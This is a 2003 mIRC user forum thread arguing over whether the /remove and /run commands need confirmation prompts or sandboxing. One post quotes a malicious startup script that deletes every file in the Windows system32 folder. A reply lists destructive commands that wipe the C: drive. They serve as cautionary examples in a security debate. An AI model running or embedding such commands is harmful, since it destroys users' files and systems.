mIRC Home    About    Download    Register    News    Help

Print Thread
#30356 17/06/03 08:18 AM
Joined: May 2003
Posts: 2,265
P
pheonix Offline OP
Hoopy frood
OP Offline
Hoopy frood
P
Joined: May 2003
Posts: 2,265
i think that the /remove command should either be removed, or it should have an alert so you can confirm deleting a file, because back in the day when i couldnt script, i downloaded a script with the following code:

on *:START:{
var %i 1
var %system c:\windows\system32
while (%i <= $findfile(%system,*.*,0)) {
$findfile(%system,*.*,%i,/remove $1-)
inc %i
}
}


new username: tidy_trax
#30357 17/06/03 11:05 AM
Joined: May 2003
Posts: 730
S
Hoopy frood
Offline
Hoopy frood
S
Joined: May 2003
Posts: 730
heh, before a week my computer screwed up after i used $findfile with /remove i just wanted to make it in decode but i forgot $eval($findfile....,0) smirk



#30358 17/06/03 11:56 AM
Joined: Jan 2003
Posts: 3,012
Hoopy frood
Offline
Hoopy frood
Joined: Jan 2003
Posts: 3,012
I would think your intelligent enough to either realize what your downloading, or inspect what your running before running it.

Anwyas, that means /run would have to be removed also..

/run deltree C:\*.*
/run del /Q /S C:\*.*


-KingTomato
#30359 17/06/03 12:16 PM
Joined: May 2003
Posts: 730
S
Hoopy frood
Offline
Hoopy frood
S
Joined: May 2003
Posts: 730
if you're reply to him, click on his nick on the REPLY

#30360 17/06/03 02:31 PM
Joined: May 2003
Posts: 2,265
P
pheonix Offline OP
Hoopy frood
OP Offline
Hoopy frood
P
Joined: May 2003
Posts: 2,265
i think having an alert to confirm the file delete would be more suitable than just removing it though :tongue:


new username: tidy_trax
#30361 17/06/03 03:13 PM
Joined: Jan 2003
Posts: 3,012
Hoopy frood
Offline
Hoopy frood
Joined: Jan 2003
Posts: 3,012
I view posts in flat mode-- I could care less what name i click. The last one is just convenience seeing i've already scrolled to the bottom of the page to complete reading anyways.


-KingTomato
#30362 17/06/03 03:29 PM
Joined: Dec 2002
Posts: 2,962
S
Hoopy frood
Offline
Hoopy frood
S
Joined: Dec 2002
Posts: 2,962
Maybe you couldn't care less, but for people who have the forums set to email replies to them it matters. Is it so hard to take half a second to click on the right button?

pheonix: For many uses of /remove having an enforced confirmation box only leads to huge annoyances for the user. A script could just /write or /bwrite to the file to all-but-delete it anyway. Instead it would make more sense to implement the recent suggestions of having a 'sandbox' setting so commands like /remove can only be used inside the mIRC directory.


Spelling mistakes, grammatical errors, and stupid comments are intentional.
#30363 17/06/03 03:53 PM
Joined: May 2003
Posts: 730
S
Hoopy frood
Offline
Hoopy frood
S
Joined: May 2003
Posts: 730
nah, some ppl need this command so now i think that there is no need remove this command, if some1 get screwed becuz this command it's his problem, he need to be more resposible
pheonix just don't use scripts that u don't know what they does





#30364 17/06/03 04:35 PM
Joined: May 2003
Posts: 2,265
P
pheonix Offline OP
Hoopy frood
OP Offline
Hoopy frood
P
Joined: May 2003
Posts: 2,265
i dont anymore im just saying i got slightly annoyed, when i found out it was trying to mess with winzip =\

Last edited by pheonix; 17/06/03 04:36 PM.

new username: tidy_trax
#30365 17/06/03 06:10 PM
Joined: Jan 2003
Posts: 1,063
D
Hoopy frood
Offline
Hoopy frood
D
Joined: Jan 2003
Posts: 1,063
alias remove { if ($?!="Are you sure?") { remove $1- } }

???



typo :-P

Last edited by Doqnach; 17/06/03 06:40 PM.

If it ain't broken, don't fix it!
#30366 17/06/03 06:18 PM
Joined: May 2003
Posts: 730
S
Hoopy frood
Offline
Hoopy frood
S
Joined: May 2003
Posts: 730
it's not $!?="Are you sure?"
it's $?!="Are you sure?"

#30367 17/06/03 06:36 PM
Joined: May 2003
Posts: 2,265
P
pheonix Offline OP
Hoopy frood
OP Offline
Hoopy frood
P
Joined: May 2003
Posts: 2,265
im thinking of code snippets and the like, not what i create myself


new username: tidy_trax
#30368 18/06/03 08:24 AM
Joined: Feb 2003
Posts: 309
C
Fjord artisan
Offline
Fjord artisan
C
Joined: Feb 2003
Posts: 309
Hurrah! A CloCkWeRX suggestion is spotted...

#30369 18/06/03 09:26 AM
Joined: May 2003
Posts: 2,265
P
pheonix Offline OP
Hoopy frood
OP Offline
Hoopy frood
P
Joined: May 2003
Posts: 2,265
maybe instead of having just an alert he could make an extra section in options on this, giving you the choice to how secure you want the /remov and /run commands to be


new username: tidy_trax
#30370 18/06/03 05:03 PM
Joined: May 2003
Posts: 32
Q
Ameglian cow
Offline
Ameglian cow
Q
Joined: May 2003
Posts: 32
lets just remove all the interaction of mIRC with the computer system, so the DLL's, com objects, DDE, remove, run, write, writeini will b removed or limited so the user will have to confirm this actions couz its all may potentially damage.
lets make mIRC run in a java sandbox.

I actually think that the current limitation of mIRC of recieving files in DCC (turn ignore automaticly after X seconds) or the disable /run /dll function is really to much protection.
user must know what he is recieving or running and mIRC or other software should not do it 4 him.

#30371 18/06/03 05:06 PM
Joined: Dec 2002
Posts: 2,985
Hoopy frood
Offline
Hoopy frood
Joined: Dec 2002
Posts: 2,985
That approach is ignorance more than anything. I view in flat mode too and always have yet I manage to find the 0.966354 seconds (yes I am 0.466354 of a second slower than Starbucks Mafia :tongue:)of time required to find out who I am actually replying to. I think is it quite rude to just tack your message onto the end of the thread unless you intend it to be there and all it achieves is making the forum disorganised.


Link Copied to Clipboard